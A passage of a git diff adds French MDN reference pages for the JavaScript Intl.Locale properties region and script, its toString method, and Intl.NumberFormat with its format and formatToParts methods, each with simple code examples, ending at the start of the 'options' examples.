+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/region
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.Locale.prototype.region</code></strong> est fournie par un accesseur qui renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La région est un fragment majeur de l'identifiant de la locale car il situe la locale dans une zone donnée du monde. Connaître la région associée à la locale est crucial pour identifier les différences entre les locales. Ainsi, on parle anglais aux États-Unis et au Royaume-Uni mais il existe certaines différences d'orthographe entre ces pays. Connaître la région d'une locale peut permettre aux développeurs d'adapter leurs sites et applications selon la région depuis laquelle ils sont consultés.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_la_région_avec_la_chaîne_de_caractères_décrivant_la_locale">Définir la région avec la chaîne de caractères décrivant la locale</h3>
+
+<p>La région est la troisième composante d'une chaîne représentant un identifiant de langue Unicode. Cette chaîne de caractères est généralement passée au constructeur {{jsxref("Locale", "Locale")}}.</p>
+
+<pre class="brush: js">let regionStr = new Intl.Locale("en-Latn-US");
+
+console.log(regionStr.region);
+// Affichera "US" dans la console</pre>
+
+<h3 id="Définir_la_région_via_lobjet_de_configuration_du_constructeur">Définir la région via l'objet de configuration du constructeur</h3>
+
+<p>Le constructeur {{jsxref("Locale", "Locale")}} prend comme second argument un objet de paramétrage dont chacune des propriétés permet de définir une extension ou une composante de la locale.</p>
+
+<pre class="brush: js">let regionObj = new Intl.Locale("fr-Latn", {region: "FR"});
+
+console.log(regionObj.region);
+// Affichera "FR" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.region">Proposition pour <code>Intl.Locale.prototype.region</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.region")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://www.unicode.org/cldr/charts/latest/supplemental/territory_containment_un_m_49.html">Tableau Unicode des régions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html
new file mode 100644
index 0000000000..3fed9f8169
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html
@@ -0,0 +1,68 @@
+---
+title: Intl.Locale.prototype.script
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/script
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/script
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.script</code></strong> est fournie via un accesseur et renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un script, ou système d'écriture, est l'une des caractéristiques fondamentales d'une locale. Il décrit l'ensemble des symboles (ou glyphes) qui sont utilisés pour écrire dans une langue donnée. Ainsi, le script associé à l'anglais est l'alphabet latin, le script associé au coréen est le Hangul. Dans la plupart des cas, indiquer le script n'est pas strictement nécessaire car une langue ne s'écrit que dans un script donné. Il existe toutefois des exceptions et il est préférable d'indique le script afin d'avoir un identifiant de langue Unicode complet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_le_script_via_la_chaîne_de_description_de_la_locale">Définir le script via la chaîne de description de la locale</h3>
+
+<p>Le script correspond à la deuxième partie d'un identifiant de langue Unicode valide. On peut donc le définir en passant un tel identifiant au constructeur {{jsxref("Locale", "Locale")}}. Toutefois, cette composante n'est pas obligatoire pour créer une instance de <code>Locale</code>.</p>
+
+<pre class="brush: js">let scriptStr = new Intl.Locale("en-Latn-US");
+
+console.log(scriptStr.script); // Affichera "Latn" dans la console</pre>
+
+<h3 id="Définir_le_script_grâce_à_lobjet_de_configuration_du_constructeur">Définir le script grâce à l'objet de configuration du constructeur</h3>
+
+<p>Le constructeur {{jsxref("Locale", "Locale")}} permet d'utiliser un objet de configuration dont les propriétés définiront les caractéristiques de la locale :</p>
+
+<pre class="brush: js">let scriptObj = new Intl.Locale("fr-FR", {script: "Latn"});
+
+console.log(scriptObj.script); // Affichera "Latn" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.script">Proposition pour <code>Intl.Locale.prototype.script</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.script")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#unicode_script_subtag_validity">Spécification Unicode pour la composante script</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html
new file mode 100644
index 0000000000..723f7cd4b3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html
@@ -0,0 +1,69 @@
+---
+title: Intl.Locale.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/toString
+tags:
+  - Intl
+  - JavaScript
+  - Locale
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/toString
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>Intl.Locale.prototype.toString()</code></strong> renvoie <a href="https://www.unicode.org/reports/tr35/#Unicode_locale_identifier">l'identifiant de locale complet</a> pour la locale courante.</span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale-prototype-tostring.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>locale</em>.toString()</code></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La chaîne de caractères représentant l'identifiant complet de la locale.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Une instance de <code>Locale</code> est une représentation JavaScript d'une locale au sens Unicode. Les informations décrivant une locale donnée (la langue, le système d'écriture, le type de calendrier, etc.) peuvent être encodées en une chaîne de caractères qui est l'identifiant de la locale. Lorsqu'on appelle la méthode <code>toString()</code> sur une instance de <code>Locale</code>, on obtiendra l'identifiant complet de la locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
+console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.toString">Proposition pour <code>Intl.Locale.prototype.toString()</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li>{{jsxref("Locale/baseName", "Intl.Locale.baseName")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html
new file mode 100644
index 0000000000..201022bd58
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html
@@ -0,0 +1,97 @@
+---
+title: Intl.NumberFormat.prototype.format
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/format
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - NumberFormat
+  - Propriété
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.NumberFormat.prototype.format()</strong></code> formate un nombre en fonction des options de locales et de formats définis dans l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}} correspondant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-format.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numberFormat</var>.format(<var>nombre</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Le nombre qu'on souhaite formater.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction d'accesseur <code>format</code> permet de formater un nombre donné en une chaîne de caractères selon les options de locale et de format de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_format">Utiliser <code>format()</code></h3>
+
+<p>On peut utiliser la fonction renvoyée par <code>format</code> pour formater une valeur monétaire selon la locale russe :</p>
+
+<pre class="brush: js">var options = {style: "currency", currency: "RUB"};
+var numberFormat = new Intl.NumberFormat("ru-RU", options);
+console.log(numberFormat.format(654321.987));
+// → "654 321,99 руб."</pre>
+
+<h3 id="Utiliser_format_avec_map">Utiliser <code>format()</code> avec <code>map()</code></h3>
+
+<p>On peut également utiliser la fonction <code>format</code> pour formater les nombres contenus dans un tableau. On notera que la fonction est liée à l'objet <code>NumberFormat</code> dont elle provient, on peut donc directement l'utiliser avec {{jsxref("Array.prototype.map")}}.</p>
+
+<pre class="brush: js">var a = [123456.789, 987654.321, 456789.123];
+var numberFormat = new Intl.NumberFormat("es-ES");
+var formatted = a.map(numberFormat.format);
+console.log(formatted.join("; "));
+// → "123.456,789; 987.654,321; 456.789,123"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.format', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.format")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html
new file mode 100644
index 0000000000..12a78a6a1d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html
@@ -0,0 +1,152 @@
+---
+title: Intl.NumberFormat.prototype.formatToParts()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/formatToParts
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - NumberFormat
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/formatToParts
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.Numberformat.prototype.formatToParts()</code></strong> permet de produire des fragments de chaînes à partir d'un nombre pour le mettre en forme avec des formateurs <code>NumberTimeFormat</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.NumberFormat.prototype.formatToParts(nombre)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code> {{optional_inline}}</dt>
+ <dd>Le nombre qu'on souhaite mettre en forme.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau {{jsxref("Array")}} contenant des objets correspondants aux différents fragments du nombres.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>formatToParts()</code> est peut être utilisée lorsqu'on met en forme des chaînes de caractères représentant des valeurs numériques. Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui sont les différents fragments spécifiques aux locales et qui permettent de construire des chaînes dans un format spécifiques tout en conservant les parties liées à la locale. <code>formatToParts()</code> renvoie une structure analogue à :</p>
+
+<pre class="brush: js">[
+  { type: "integer", value: "3" }
+  { type: "group", value: "." }
+  { type: "integer", value: "500" }
+]</pre>
+
+<p>Les valeurs possibles pour l'attribut <code>type</code> sont :</p>
+
+<dl>
+ <dt><code>currency</code></dt>
+ <dd>Le suffixe associé à la devise. Ce peut être le symbole "$", "€" ou bien le nom de la devise "Dollar", "Euro" selon la façon dont <code>currencyDisplay</code>  est indiquée.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>Le séparateur décimal utilisé (".").</dd>
+ <dt><code>fraction</code></dt>
+ <dd>La partie fractionnaire du nombre.</dd>
+ <dt><code>group</code></dt>
+ <dd>La chaîne de caractères utilisée pour indiquer un groupe (",").</dd>
+ <dt><code>infinity</code></dt>
+ <dd>La chaîne de caractères qui représente la valeur {{jsxref("Infinity")}} ("∞").</dd>
+ <dt><code>integer</code></dt>
+ <dd>La partie entière du nombre.</dd>
+ <dt><code>literal</code></dt>
+ <dd>Toute chaîne de caractères littérale ou blanc utilisée dans le nombre mis en forme.</dd>
+ <dt><code>minusSign</code></dt>
+ <dd>La chaîne de caractères utilisée pour le signe moins ("-").</dd>
+ <dt><code>nan</code></dt>
+ <dd>La chaîne de caractères utilisée pour représenter la valeur {{jsxref("NaN")}} ("NaN").</dd>
+ <dt><code>plusSign</code></dt>
+ <dd>La chaîne de caractères utilisée pour le signe plus ("+").</dd>
+</dl>
+
+<dl>
+ <dt><code>percentSign</code></dt>
+ <dd>La châine de caractères utilisée pour le symbole pourcent ("%").</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>NumberFormat</code> produit une chaîne localisée opaque qui ne peut pas être manipulée directement :</p>
+
+<pre class="brush: js">var number = 3500;
+
+var formatter = new Intl.NumberFormat('de-DE', {
+  style: 'currency',
+  currency: 'EUR'
+});
+
+formatter.format(number);
+// "3.500,00 €"
+</pre>
+
+<p>Toutefois, pour certaines applications, on souhaite adapter la mise en forme de cette chaîne de caractères. La méthode <code>formatToParts</code> permet d'obtenir cette flexibilité tout en conservant les différents fragments produits par <code>NumberFormat</code> :</p>
+
+<pre class="brush: js">formatter.formatToParts(number);
+
+// return value:
+[
+  { type: "integer",  value: "3"   }
+  { type: "group",    value: "."   }
+  { type: "integer",  value: "500" }
+  { type: "decimal",  value: ","   }
+  { type: "fraction", value: "00"  }
+  { type: "literal",  value: " "   }
+  { type: "currency", value: "€"   }
+]
+</pre>
+
+<p>Maintenant que la chaîne est décomposée, on peut la réassembler d'une façon spécifique. On peut, par exemple utiliser {{jsxref("Array.prototype.map()")}}, <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">une fonction fléchée</a>, une <a href="/fr/docs/Web/JavaScript/Reference/Instructions/switch">instruction <code>switch</code></a>, <a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits">des littéraux de gabarits</a> et {{jsxref("Array.prototype.reduce()")}}.</p>
+
+<pre class="brush: js">var numberString = formatter.formatToParts(number).map(({type, value}) =&gt; {
+  switch (type) {
+    case 'currency': return `&lt;strong&gt;${value}&lt;/strong&gt;`;
+    default : return value;
+  }
+}).reduce((string, part) =&gt; string + part);
+</pre>
+
+<p>Grâce à cette fonction, on pourra mettre en gras le suffixe associé à la devise :</p>
+
+<pre class="brush: js">console.log(numberString);
+// "3.500,00 &lt;strong&gt;€&lt;/strong&gt;"</pre>
+
+<h2 id="Prothèse_démulation_polyfill">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Une prothèse pour cette fonctionnalité est disponible <a href="https://github.com/zbraniecki/proposal-intl-formatToParts">dans le dépôt associé à la proposition</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.formatToParts', 'Intl.NumberFormat.prototype.formatToParts')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.formatToParts")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}</li>
+ <li>Formater des dates : {{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html
new file mode 100644
index 0000000000..2408df724b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html
@@ -0,0 +1,203 @@
+---
+title: Intl.NumberFormat
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.NumberFormat</code></strong> est un constructeur permettant de créer des objets pour formater des nombres en fonction de la locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Intl.NumberFormat([<var>locales</var>[, <var>options</var>]])
+Intl.NumberFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :</p>
+
+ <dl>
+  <dt>nu</dt>
+  <dd>Le système numérique à utiliser. Parmi les valeurs possibles, on a : <code>"arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".</code></dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.</dd>
+ </dl>
+ </dd>
+ <dd>
+ <dl>
+  <dt><code>style</code></dt>
+  <dd>Le style de formatage. Les valeurs possibles sont <code>"decimal"</code> pour l'affichage de nombres simple, <code>"currency"</code> pour un affichage en fonction de la devise et <code>"percent"</code> pour afficher des pourcentages. La valeur par défaut est <code>"decimal"</code>.</dd>
+  <dt><code>currency</code></dt>
+  <dd>La devise à utiliser pour le formatage. Les valeurs possibles sont les codes ISO 4217 pour les devises, tels que <code>"USD"</code> pour le dollar américain, <code>"EUR"</code> pour l'euro, ou <code>"CNY"</code> pour le yuan chinois. Voir la page listant <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">les codes actuels pour les devises et les fonds</a> (en anglais). Il n'y a pas de valeur par défaut. Si le style choisi avec l'option <code>style</code> est "currency", la propriété <code>currency</code> doit être définie.</dd>
+  <dt><code>currencyDisplay</code></dt>
+  <dd>La façon d'afficher la devise dans le format courant. Les valeurs possibles sont <code>"symbol"</code> qui permet d'utiliser un symbole localisé comme '€', <code>"code"</code> qui affichera le code ISO de la devise (voir ci-avant), <code>"name"</code>  affichera un nom localisé pour la devise comme <code>"dollar"</code>. La valeur par défaut est <code>"symbol"</code>.</dd>
+  <dt><code>useGrouping</code></dt>
+  <dd>Cette option indique si on doit utiliser des séparateurs de groupes (comme les séparateurs de milliers ou autres comme lakhs et crores). Les valeurs possibles sont <code>true</code> et <code>false</code>. La valeur par défaut <code>true</code>.</dd>
+ </dl>
+
+ <p>Les propriétés suivantes peuvent être classées en deux groupes. Dans le premier on aura <code>minimumIntegerDigits</code>, <code>minimumFractionDigits</code>, <code>maximumFractionDigits</code> et dans le second on aura <code>minimumSignificantDigits</code> et <code>maximumSignificantDigits</code>. S'il existe une option définie pour le second groupe, les options du premier groupe seront ignorées.</p>
+
+ <dl>
+  <dt><code>minimumIntegerDigits</code></dt>
+  <dd>Le nombre minimal de chiffres à utiliser pour la partie entière. Les valeurs possibles sont comprises entre 1 to 21. La valeur par défaut est 1.</dd>
+  <dt><code>minimumFractionDigits</code></dt>
+  <dd>Le nombre minimal de chiffres à utiliser pour la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour les formats <code>"decimal"</code> et <code>"percent"</code>, la valeur par défaut est 0. La valeur par défaut pour le formatage monétaire (<code>"currency"</code>) correspond au nombre de chiffres défini par <a href="https://www.currency-iso.org/en/home/tables/table-a1.html">la liste de codes de devises ISO 4217</a>, si cette valeur n'est pas définie dans cette liste, on aura 2 chiffres.</dd>
+  <dt><code>maximumFractionDigits</code></dt>
+  <dd>Le nombre maximal de chiffres à utiliser pour représenter la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour le format <code>"decimal"</code>, la valeur par défaut est le maximum entre 3 et <code>minimumFractionDigits</code>. Pour le format monétaire (<code>"currency"</code>), la valeur par défaut est le maximum entre  <code>minimumFractionDigits</code> et le nombre de chiffres prévus par la liste <a href="https://www.currency-iso.org/en/home/tables/table-a1.html">ISO 4217 des codes de devises</a> (ou 2 si cette information n'est pas disponible dans cette liste). Pour le format en pourcent, la valeur par défaut est le maximum entre <code>minimumFractionDigits</code> et 0.</dd>
+  <dt><code>minimumSignificantDigits</code></dt>
+  <dd>Le nombre minimal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est 1.</dd>
+  <dt><code>maximumSignificantDigits</code></dt>
+  <dd>Le nombre maximal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est <code>minimumSignificantDigits</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}</dt>
+ <dd>Permet d'ajouter des propriétés à toutes les instances.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</dt>
+ <dd>Renvoie un tableau des locales supportées parmi les locales données afin d'éviter d'utiliser la locale par défaut de l'environnement.</dd>
+</dl>
+
+<h2 id="Instances_de_NumberFormat">Instances de <code>NumberFormat</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>Les instances de <code>NumberFormat</code> héritent des propriétés suivantes grâce à leur prototype :</p>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Properties')}}</div>
+
+<h3 id="Méthods">Méthods</h3>
+
+<div>
+<p>Les instances de <code>NumberFormat</code> héritent des méthodes suivantes grâce à leur prototype :</p>
+{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Methods')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Usage_simple">Usage simple</h3>
+
+<p>Sans aucune spécification, le résultat sera une chaîne de caractères avec la locale et les options par défaut :</p>
+
+<pre class="brush: js">var nombre = 3500;
+
+console.log(new Intl.NumberFormat().format(nombre));
+// → "3 500" pour la locale fr
+</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Cet exemple illustre les variations possibles des formats numériques localisés. Si vous souhaitez que votre application utilise le format de la locale de l'utilisateur, assurez vous de l'indiquer via l'argument <code>locales</code> (voire avec d'autres locales de secours) :</p>
+
+<pre class="brush: js">var nombre = 123456.789;
+
+// L'allemand utilise la virgule comme séparateur décimal
+// et un point pour indiquer les milliers
+console.log(new Intl.NumberFormat("de-DE").format(nombre));
+// → 123.456,789
+
+// Dans la plupart des pays arabophones, on utilise les
+// chiffres arabo-hindîs
+console.log(new Intl.NumberFormat("ar-EG").format(nombre));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// L'indien utilise des séparateurs pour les milliers,
+//les lakhs et les crores
+console.log(new Intl.NumberFormat("en-IN").format(nombre));
+// → 1,23,456.789
+
+// La clé d'extension nu indique une l'utilisation d'un système numérique
+// par exemple le système chinois
+console.log(new Intl.NumberFormat("zh-Hans-CN-u-nu-hanidec").format(nombre));
+// → 一二三,四五六.七八九
+
+// Lorsqu'une locale n'est pas supportée (par exemple le balinais)
+// on peut inclure une locale de secours (ici l'indonésien)
+console.log(new Intl.NumberFormat(["ban", "id"]).format(nombre));
+// → 123.456,789
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
